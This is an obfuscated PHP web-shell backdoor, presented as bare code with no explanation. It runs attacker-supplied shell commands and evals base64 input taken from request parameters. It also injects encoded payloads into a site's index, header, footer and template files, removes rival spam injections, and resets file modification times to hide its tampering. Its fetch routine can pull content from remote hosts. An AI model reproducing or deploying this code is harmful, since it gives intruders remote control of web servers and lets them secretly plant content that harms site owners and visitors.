<?php
if (!function_exists('emo')) {
function emo($i) {
$a = Array("", "_", "_", "\\", "/", "//", ".", "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) Gecko/20030504 Mozilla Firebird/0.6", "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10", 'safe_mode', 'open_basedir', "http://", "", "#/#", "/", "", "", "/", "/", "Accept-Language: en-us, en;q=0.50\r\n", "Connection: Close\r\n\r\n", "\r\n\r\n", "\n", "<br />", "", "/Location\:/", "Location: ", "\r", "\r\n\r\n", "", "Location:", "Location:", 'allow_url_fopen', '1', "<h5 style='color:maroon'>Can't download ", " - EXIT;</h5>", '', "", "safe_mode", "open_basedir", "safe_mode_include_dir", "safe_mode_exec_dir", "disable_functions", "allow_url_fopen", 'max_execution_time', 'output_buffering', 'memory_limit', '64M', 'error_log', 'log_errors', 'file_uploads', 'allow_url_fopen', 'max_execution_time', 'output_buffering', 'memory_limit', '64M', 'error_log', 'log_errors', 'file_uploads', 'allow_url_fopen', 'DOCUMENT_ROOT', 'DOCUMENT_ROOT', '\\', '/', 'SCRIPT_FILENAME', 'PHP_SELF', "(\.ph.*$|\.htm.*$|\.shtm.*$|\.asp.*$|\.jsp$|\.jhtm$|\.cfm$|\.ctp$|\.tpl$)", "/<ad>.*<\/ad>/si", "/<ads>.*<\/ads>/si", "/<bb1>.*<bb2>/si", "/<b1>.*<\/b1>/si", "/<bb1><bb1>/si", "/<bb2><bb2>/si", "/<ad>.*<\/ad>/s", "/<ems>.*<\/ems>/s", "/<block>.*<\/block>/s", "/<dig>.*<\/dig>/s", "/<centr>.*<\/centr>/s", "/<cits>.*<\/cits>/s", "/<tbt>.*<\/tbt>/s", "/<(span|font|div) style=.*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*(overflow|visibility)\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*(overflow|visibility)\s*:\s*(auto|hidden).*(height|width)\s*:\s*[0-2]{1}\s*(pt|px).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*visibility\s*:\s*(auto|hidden).*overflow\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/<(span|font|div) style=.*overflow\s*:\s*(auto|hidden).*visibility\s*:\s*(auto|hidden).*>.*<a href=.*<\/a>.*<\/(span|font|div)>/Usi", "/wpfooterz.*wpfooterz/si", "/<a.*style\s*=.*(top|left)\s*:\s*-[0-9]{3,5}.*>.*<\/a>/Ui", "<ad>|</ad>", "<ems>| </ems>", "<block> |</block>", "<dig> | </dig>", "<centr>|</centr>", "<cits>|</cits>", "<tbt>|</tbt>", 'update1', "EXPC", 'update1', ',', "|", ".htm", ".shtm", "", "/<body(.*)?>/i", "/<body(.*)?>/i", "/<\/body(.*)?>/i", "/<\/body(.*)?>/i", "/<\/html>/i", "</body>", "/<\/html>/i", "</body></html>", "w+", 'update2', 'update2', 'SCRIPT_FILENAME', '/', '1.php', '1.php', '/^\<\?php.*\?\>/Usi', '', "w", "<pre>update</pre>", 'update3', "<pre>", 'update3', '', "\n", "r", "", "</pre>", 'add1', "EXPC", 'add1', ',', "/var\sst1(.*)gr0\=0\;/i", "", "w", "ev1", "ev1", "info1", 'dGVzdDEyOA==', "<!-- #a#", "get1", 'get1', 'DOCUMENT_ROOT', "((^.*index.*\.|^.*default.*\.|^.*main.*\.|^.*body.*\.|^.*login.*\.|^.*content.*\.|^.*auth.*\.|^.*footer.*\.|^.*header.*\.|^.*home.*\.|^.*templ.*\.|^.*inc.*\.|^.*page.*\.|^.*bottom.*\.|^.*theme.*\.)(ph.*$|htm.*$|shtm.*$|asp.*$|jsp$|jhtml$|cfm$|tpl$|inc$|pl$|template$|xml$|sht$|ctp$))", "<b1><!--", "--></b1>", "", "/<body(.*)?>/i", "/<body(.*)?>/i", "/<\/body(.*)?>/i", "/<\/body(.*)?>/i", "/<\/html>/i", "</body>", "/<\/html>/i", "w+", "", "w+", "get2", 'get2', 'DOCUMENT_ROOT', "/script.*src\s?=\s?(\"|')(.*\.js)(\?|\/|\"|')/Ui", '/^http/i', '/');
return $a[$i];
}
}
if (!function_exists('rndc')) {
function rndc() {
$y_0 = round(0 + 1);
$y_1 = round(0 + 1.6 + 1.6 + 1.6 + 1.6 + 1.6);
$y_2 = emo(0);
for ($y_3 = round(0);$y_3 < $y_1;$y_3++) {
$y_4 = mt_rand(round(0 + 1), round(0 + 3.5 + 3.5));
switch ($y_4) {
case ($y_4 <= round(0 + 0.5 + 0.5 + 0.5 + 0.5)):
$y_2.= mt_rand(round(0), round(0 + 4.5 + 4.5));
break;
case ($y_4 <= round(0 + 0.8 + 0.8 + 0.8 + 0.8 + 0.8)):
$y_2.= chr(mt_rand(round(0 + 32.5 + 32.5), round(0 + 45 + 45)));
break;
case ($y_4 <= round(0 + 3 + 3)):
$y_2.= chr(mt_rand(round(0 + 19.4 + 19.4 + 19.4 + 19.4 + 19.4), round(0 + 61 + 61)));
break;
case round(0 + 2.33333333333 + 2.33333333333 + 2.33333333333):
$y_5 = strlen($y_2);
if ($y_0 > round(0) && $y_5 > round(0) && $y_5 < ($y_1 - round(0 + 1)) && $y_2[$y_5 - round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2) ] != emo(1)) {
$y_2.= emo(2);
$y_0--;
} else {
$y_3--;
continue;
}
break;
}
}
return $y_2;
}
}
if (!function_exists('strrevpos')) {
function strrevpos($y_6, $y_7) {
$y_8 = strpos(strrev($y_6), strrev($y_7));
if ($y_8 === false) return false;
else return strlen($y_6) - $y_8 - strlen($y_7);
}
}
if (!function_exists('after')) {
function after($this, $y_9) {
if (!is_bool(strpos($y_9, $this))) return substr($y_9, strpos($y_9, $this) + strlen($this));
}
}
if (!function_exists('after_last')) {
function after_last($this, $y_9) {
if (!is_bool(strrevpos($y_9, $this))) return substr($y_9, strrevpos($y_9, $this) + strlen($this));
}
}
if (!function_exists('before')) {
function before($this, $y_9) {
return substr($y_9, round(0), strpos($y_9, $this));
}
}
if (!function_exists('before_last')) {
function before_last($this, $y_9) {
return substr($y_9, round(0), strrevpos($y_9, $this));
}
}
if (!function_exists('between')) {
function between($this, $y_10, $y_9) {
return before($y_10, after($this, $y_9));
}
}
if (!function_exists('between_last')) {
function between_last($this, $y_10, $y_9) {
return after_last($this, before_last($y_10, $y_9));
}
}
if (!function_exists('getfiles')) {
function getfiles($y_11, $y_12, $y_13 = 0, $y_14 = "\\") {
if (!is_dir($y_11)) {
return null;
};
$y_15 = ($y_14 == emo(3)) ? emo(4) : $y_14;
$y_11 = str_replace($y_14, $y_15, $y_11);
$y_11 = str_replace(emo(5), $y_15, $y_11);
$y_11 = (strrpos($y_11, $y_15) == strlen($y_11) - round(0 + 0.333333333333 + 0.333333333333 + 0.333333333333)) ? substr($y_11, round(0), strlen($y_11) - round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) : $y_11;
$y_16 = substr_count($y_11, $y_15);
$y_13 = (!$y_13) ? -round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2) : $y_13 + $y_16;
$y_17 = array();
$y_18 = array(array($y_11, $y_16));
while (sizeof($y_18) && $y_18[round(0) ][round(0 + 0.5 + 0.5) ] != $y_13) {
$y_19 = array_shift($y_18);
$y_20 = opendir($y_19[round(0) ]);
while (($y_21 = readdir($y_20)) !== false) {
if (strrpos($y_21, emo(6)) === (strlen($y_21) - round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2))) {
continue;
};
$y_22 = $y_19[round(0) ] . $y_15 . $y_21;
if (is_dir($y_22)) {
$y_23[] = $y_22;
$y_18[] = array($y_22, substr_count($y_22, $y_15));
} else {
foreach($y_12 as $y_3) {
if (preg_match($y_3, $y_21)) {
$y_17[] = $y_22;
break;
};
}
};
};
}
return $y_17;
}
}
if (!function_exists('cc2')) {
function cc2($y_24) {
$y_25 = array(emo(7), emo(8), emo(9), emo(10));
if (function_exists('curl_init')) {
$y_26 = $y_25[rand(round(0), count($y_25) - round(0 + 0.25 + 0.25 + 0.25 + 0.25)) ];
$y_27 = curl_init();
curl_setopt($y_27, 10002, $y_24);
curl_setopt($y_27, 42, round(0));
curl_setopt($y_27, 13, round(0 + 30));
curl_setopt($y_27, 19913, round(0 + 0.25 + 0.25 + 0.25 + 0.25));
curl_setopt($y_27, 10018, $y_26);
if (!(@ini_get(emo(11)) || @ini_get(emo(12)))) {
@curl_setopt($y_27, 52, round(0 + 0.5 + 0.5));
}
@curl_setopt($y_27, 68, round(0 + 0.4 + 0.4 + 0.4 + 0.4 + 0.4));
$y_28 = curl_exec($y_27);
curl_close($y_27);
if ($y_28 !== false) {
return $y_28;
}
} else if (function_exists('fsockopen')) {
global $y_29;
$y_30 = $y_25[rand(round(0), count($y_25) - round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2)) ];
$y_24 = str_replace(emo(13), emo(14), $y_24);
if (preg_match(emo(15), "$y_24")) {
$y_31 = $y_24;
$y_24 = @explode(emo(16), $y_24);
$y_24 = $y_24[round(0) ];
$y_31 = str_replace($y_24, emo(17), $y_31);
if (!$y_31 || $y_31 == emo(18)) {
$y_31 = emo(19);
}
$y_32 = gethostbyname($y_24);
} else {
$y_32 = gethostbyname($y_24);
$y_31 = emo(20);
}
$y_33 = fsockopen($y_32, round(0 + 16 + 16 + 16 + 16 + 16), $y_34, $y_35, round(0 + 10));
stream_set_timeout($y_33, round(0 + 5 + 5));
if ($y_33) {
$y_36 = "GET $y_31 HTTP/1.0\r\n";
$y_36.= "Host: $y_24\r\n";
$y_36.= "Referer: http://$y_24$y_31\r\n";
$y_36.= emo(21);
$y_36.= "User-Agent: $y_30\r\n";
$y_36.= emo(22);
fputs($y_33, $y_36);
while (!feof($y_33)) {
$y_37.= fgets($y_33, round(0 + 1024 + 1024 + 1024 + 1024));
}
fclose($y_33);
$y_37 = @explode(emo(23), $y_37, round(0 + 1 + 1));
$y_38 = $y_37[round(0) ];
if ($y_29) {
$y_38 = "$y_29<br /><br />\n$y_38";
}
$y_38 = str_replace(emo(24), emo(25), $y_38);
if ($y_37[round(0 + 0.333333333333 + 0.333333333333 + 0.333333333333) ]) {
$y_39 = $y_37[round(0 + 0.5 + 0.5) ];
} else {
$y_39 = emo(26);
}
if ($y_39) {
$y_37 = $y_39;
} else {
$y_37 = $y_38;
}
if (preg_match(emo(27), "$y_38")) {
$y_24 = @explode(emo(28), $y_38);
$y_24 = $y_24[round(0 + 0.5 + 0.5) ];
$y_24 = @explode(emo(29), $y_24);
$y_24 = $y_24[round(0) ];
$y_29 = str_replace(emo(30), emo(31), $y_38);
$y_40 = emo(32);
$y_29 = str_replace(emo(33), $y_40, $y_29);
return cc2($y_24);
} else {
return $y_37;
}
}
} else if (ini_get(emo(34)) == emo(35)) {
$y_28 = file_get_contents("http://$y_24");
if ($y_28 !== false) {
return $y_28;
}
} else {
echo emo(36) . $y_24 . emo(37);
exit;
}
}
}
if (!function_exists('getcode')) {
function getcode($y_31, $y_41) {
$y_42 = emo(38);
if (preg_match("/$y_41/", $y_31)) {
$y_42 = preg_replace("/.*<b1><!--|$y_41|--><\/b1>.*/msi", emo(39), $y_31);
}
return $y_42;
}
}
@ignore_user_abort(round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2));
@set_magic_quotes_runtime(round(0));
@set_time_limit(round(0));
@error_reporting(round(0));
if (@function_exists('ini_restore')) {
@ini_restore(emo(40));
@ini_restore(emo(41));
@ini_restore(emo(42));
@ini_restore(emo(43));
@ini_restore(emo(44));
@ini_restore(emo(45));
}
if (@function_exists('ini_set')) {
@ini_set(emo(46), round(0));
@ini_set(emo(47), round(0));
@ini_set(emo(48), emo(49));
@ini_set(emo(50), NULL);
@ini_set(emo(51), round(0));
@ini_set(emo(52), round(0 + 0.2 + 0.2 + 0.2 + 0.2 + 0.2));
@ini_set(emo(53), round(0 + 0.5 + 0.5));
} elseif (@function_exists('ini_alter')) {
@ini_alter(emo(54), round(0));
@ini_alter(emo(55), round(0));
@ini_alter(emo(56), emo(57));
@ini_alter(emo(58), NULL);
@ini_alter(emo(59), round(0));
@ini_alter(emo(60), round(0 + 1));
@ini_alter(emo(61), round(0 + 1));
}
if (!isset($_SERVER[emo(62) ])) $_SERVER[emo(63) ] = str_replace(emo(64), emo(65), substr($_SERVER[emo(66) ], round(0), round(0) - strlen($_SERVER[emo(67) ])));
$y_43 = array(emo(68));
$y_44 = array(emo(69), emo(70), emo(71), emo(72), emo(73), emo(74), emo(75), emo(76), emo(77), emo(78), emo(79), emo(80), emo(81), emo(82), emo(83), emo(84), emo(85), emo(86), emo(87));
$y_45 = array(emo(88), emo(89), emo(90), emo(91), emo(92), emo(93), emo(94));
if (isset($_REQUEST[emo(95) ])) {
$y_46 = explode(emo(96), gzinflate(base64_decode($_REQUEST[emo(97) ])));
$y_47 = $y_46[round(0) ];
$y_48 = explode(emo(98), $y_46[round(0 + 0.5 + 0.5) ]);
foreach($y_48 as $y_49) {
if (strlen($y_47) > round(0 + 1)) {
$y_50 = explode(emo(99), $y_45[rand(round(0), count($y_45) - round(0 + 0.5 + 0.5)) ]);
$y_47 = $y_50[round(0) ] . $y_47 . $y_50[round(0 + 0.5 + 0.5) ];
}
$y_51 = false;
$y_52 = false;
if (!is_writable($y_49)) @chmod($y_49, round(0 + 84 + 84 + 84 + 84 + 84));
if (file_exists($y_49) && is_writable($y_49)) {
$y_53 = false;
if (eregi(emo(100), $y_49) !== false || eregi(emo(101), $y_49) !== false) $y_53 = true;
$y_54 = trim(file_get_contents($y_49));
foreach($y_44 as $y_55) {
if (preg_match($y_55, $y_54)) {
$y_54 = preg_replace($y_55, emo(102), $y_54);
$y_52 = true;
}
}
if (preg_match(emo(103), $y_54, $y_56)) {
$y_57 = $y_56[round(0) ];
$y_54 = preg_replace(emo(104), $y_57 . $y_47, $y_54);
$y_51 = true;
} else if (preg_match(emo(105), $y_54, $y_56)) {
$y_57 = $y_56[round(0) ];
$y_54 = preg_replace(emo(106), $y_47 . $y_57, $y_54);
$y_51 = true;
} else if (preg_match(emo(107), $y_54, $y_56)) {
$y_57 = emo(108) . $y_56[round(0) ];
$y_54 = preg_replace(emo(109), $y_47 . $y_57, $y_54);
$y_51 = true;
} else if ($y_53 == true) {
$y_57 = $y_47 . emo(110);
$y_54.= $y_57;
$y_51 = true;
}
if ($y_51 == true || $y_52 == true) {
$y_58 = @filemtime($y_49);
$y_59 = fopen($y_49, emo(111));
fwrite($y_59, $y_54);
fclose($y_59);
@touch($y_49, $y_58, $y_58);
if ($y_51 == true) echo "<pre>update $y_49</pre>";
if ($y_52 == true) echo "<pre>spam removed $y_49</pre>";
}
} else {
if (!file_exists($y_49)) echo "<pre>no file $y_49</pre>";
else if (!is_writable($y_49)) echo "<pre>no rw file $y_49</pre>";
}
}
}
if (isset($_REQUEST[emo(112) ])) {
$y_47 = gzinflate(base64_decode($_REQUEST[emo(113) ]));
$y_60 = $_SERVER[emo(114) ];
$y_61 = before_last(emo(115), $y_60);
if (!is_writable($y_61)) @chmod($y_61, round(0 + 210 + 210));
$y_62 = @filemtime($y_61);
@copy($y_60, $y_60 . emo(116));
@touch($y_61, $y_62, $y_62);
@touch($y_60 . emo(117), $y_62, $y_62);
if (!is_writable($y_60)) @chmod($y_60, round(0 + 420));
if (is_writable($y_60)) {
$y_54 = trim(file_get_contents($y_60));
$y_63 = preg_replace(emo(118), emo(119), $y_54);
$y_58 = @filemtime($y_60);
$y_59 = fopen($y_60, emo(120));
fwrite($y_59, $y_47 . $y_63);
fclose($y_59);
@touch($y_60, $y_58, $y_58);
echo emo(121);
} else {
echo "<pre>no rw $y_49</pre>";
}
}
if (isset($_REQUEST[emo(122) ])) {
echo emo(123);
$y_64 = $_REQUEST[emo(124) ];
$y_46 = emo(125);
if (!empty($y_64)) {
if (function_exists('exec')) {
@exec($y_64, $y_46);
$y_46 = join(emo(126), $y_46);
} elseif (function_exists('shell_exec')) {
$y_46 = @shell_exec($y_64);
} elseif (function_exists('system')) {
@ob_start();
@system($y_64);
$y_46 = @ob_get_contents();
@ob_end_clean();
} elseif (function_exists('passthru')) {
@ob_start();
@passthru($y_64);
$y_46 = @ob_get_contents();
@ob_end_clean();
} elseif (@is_resource($y_65 = @popen($y_64, emo(127)))) {
$y_46 = emo(128);
while (!@feof($y_65)) {
$y_46.= @fread($y_65, round(0 + 512 + 512));
}
@pclose($y_65);
}
}
echo $y_46;
echo emo(129);
}
if (isset($_REQUEST[emo(130) ])) {
$y_46 = explode(emo(131), gzinflate(base64_decode($_REQUEST[emo(132) ])));
$y_47 = $y_46[round(0) ];
$y_48 = explode(emo(133), $y_46[round(0 + 0.333333333333 + 0.333333333333 + 0.333333333333) ]);
foreach($y_48 as $y_49) {
$y_51 = false;
$y_52 = false;
if (!is_writable($y_49)) @chmod($y_49, round(0 + 420));
if (file_exists($y_49) && is_writable($y_49)) {
$y_54 = trim(file_get_contents($y_49));
$y_54 = preg_replace(emo(134), emo(135), $y_54);
$y_54 = $y_47 . $y_54;
$y_58 = @filemtime($y_49);
$y_59 = fopen($y_49, emo(136));
fwrite($y_59, $y_54);
fclose($y_59);
@touch($y_49, $y_58, $y_58);
echo "<pre>update $y_49</pre>";
} else {
if (!file_exists($y_49)) echo "<pre>no file $y_49</pre>";
else if (!is_writable($y_49)) echo "<pre>no w file $y_49</pre>";
}
}
}
if (isset($_REQUEST[emo(137) ])) {
$y_66 = base64_decode($_REQUEST[emo(138) ]);
eval($y_66);
exit();
}
if (isset($_REQUEST[emo(139) ])) {
$y_67 = emo(140);
$y_68 = @get_current_user();
echo emo(141) . base64_decode($y_67) . "(($y_68))#b#-->";
exit;
}
if (isset($_REQUEST[emo(142) ])) {
$y_69 = $_REQUEST[emo(143) ];
$y_70 = $_SERVER[emo(144) ];
$y_41 = rndc();
$y_71 = array(emo(145));
$y_48 = array();
$y_48 = @getfiles($y_70, $y_71, round(0 + 1.33333333333 + 1.33333333333 + 1.33333333333));
foreach($y_48 as $y_49) {
$y_51 = false;
$y_52 = false;
if (@file_exists($y_49)) {
if (!is_writable($y_49)) @chmod($y_49, round(0 + 420));
if (@is_writable($y_49)) {
$y_72 = base64_encode(gzcompress($y_49, round(0 + 2.25 + 2.25 + 2.25 + 2.25)));
$y_47 = emo(146) . $y_41 . $y_72 . emo(147);
$y_54 = @trim(@file_get_contents($y_49));
foreach($y_44 as $y_55) {
if (preg_match($y_55, $y_54)) {
$y_54 = preg_replace($y_55, emo(148), $y_54);
$y_52 = true;
}
}
if (preg_match(emo(149), $y_54, $y_56)) {
$y_57 = $y_56[round(0) ];
$y_54 = preg_replace(emo(150), $y_57 . $y_47, $y_54);
$y_51 = true;
} else if (preg_match(emo(151), $y_54, $y_56)) {
$y_57 = $y_56[round(0) ];
$y_54 = preg_replace(emo(152), $y_47 . $y_57, $y_54);
$y_51 = true;
} else if (preg_match(emo(153), $y_54, $y_56)) {
$y_57 = emo(154) . $y_56[round(0) ];
$y_54 = preg_replace(emo(155), $y_47 . $y_57, $y_54);
$y_51 = true;
}
if ($y_51 == true || $y_52 == true) {
$y_58 = @filemtime($y_49);
$y_59 = @fopen($y_49, emo(156));
@fwrite($y_59, $y_54);
@fclose($y_59);
@touch($y_49, $y_58, $y_58);
}
}
}
}
$y_73 = cc2($y_69);
if (strlen($y_73) < round(0 + 5 + 5 + 5 + 5)) $y_73 = cc2("www.$y_69");
if (eregi($y_41, $y_73)) {
$y_73 = gzuncompress(base64_decode(getcode($y_73, $y_41)));
echo "#a#$y_73#b#";
}
foreach($y_48 as $y_49) {
$y_52 = false;
if (file_exists($y_49)) {
if (!is_writable($y_49)) @chmod($y_49, round(0 + 105 + 105 + 105 + 105));
if (is_writable($y_49)) {
$y_54 = @trim(@file_get_contents($y_49));
foreach($y_44 as $y_55) {
if (preg_match($y_55, $y_54)) {
$y_54 = preg_replace($y_55, emo(157), $y_54);
$y_52 = true;
}
}
if ($y_52 == true) {
$y_58 = @filemtime($y_49);
$y_59 = @fopen($y_49, emo(158));
@fwrite($y_59, $y_54);
@fclose($y_59);
@touch($y_49, $y_58, $y_58);
}
}
}
}
exit;
}
if (isset($_REQUEST[emo(159) ])) {
$y_74 = array();
$y_69 = $_REQUEST[emo(160) ];
$y_70 = $_SERVER[emo(161) ];
$y_75 = cc2($y_69);
if (strlen($y_75) < round(0 + 20)) $y_75 = cc2("www.$y_69");
preg_match_all(emo(162), $y_75, $y_42);
foreach($y_42[round(0 + 0.666666666667 + 0.666666666667 + 0.666666666667) ] as $y_76) {
if (preg_match(emo(163), $y_76)) {
if (preg_match("/$y_69/i", $y_76)) {
$y_65 = $y_70 . after($y_69, $y_76);
if (@file_exists($y_65) && @is_writable($y_65)) $y_74[] = $y_65;
}
} else {
$y_65 = $y_70 . emo(164) . $y_76;
if (@file_exists($y_65) && @is_writable($y_65)) $y_74[] = $y_65;
}
}
if (count($y_74) > round(0)) {
$y_73 = $y_74[rand(round(0), count($y_74) - round(0 + 0.25 + 0.25 + 0.25 + 0.25)) ];
echo "#a#$y_73#b#";
}
exit;
} ?>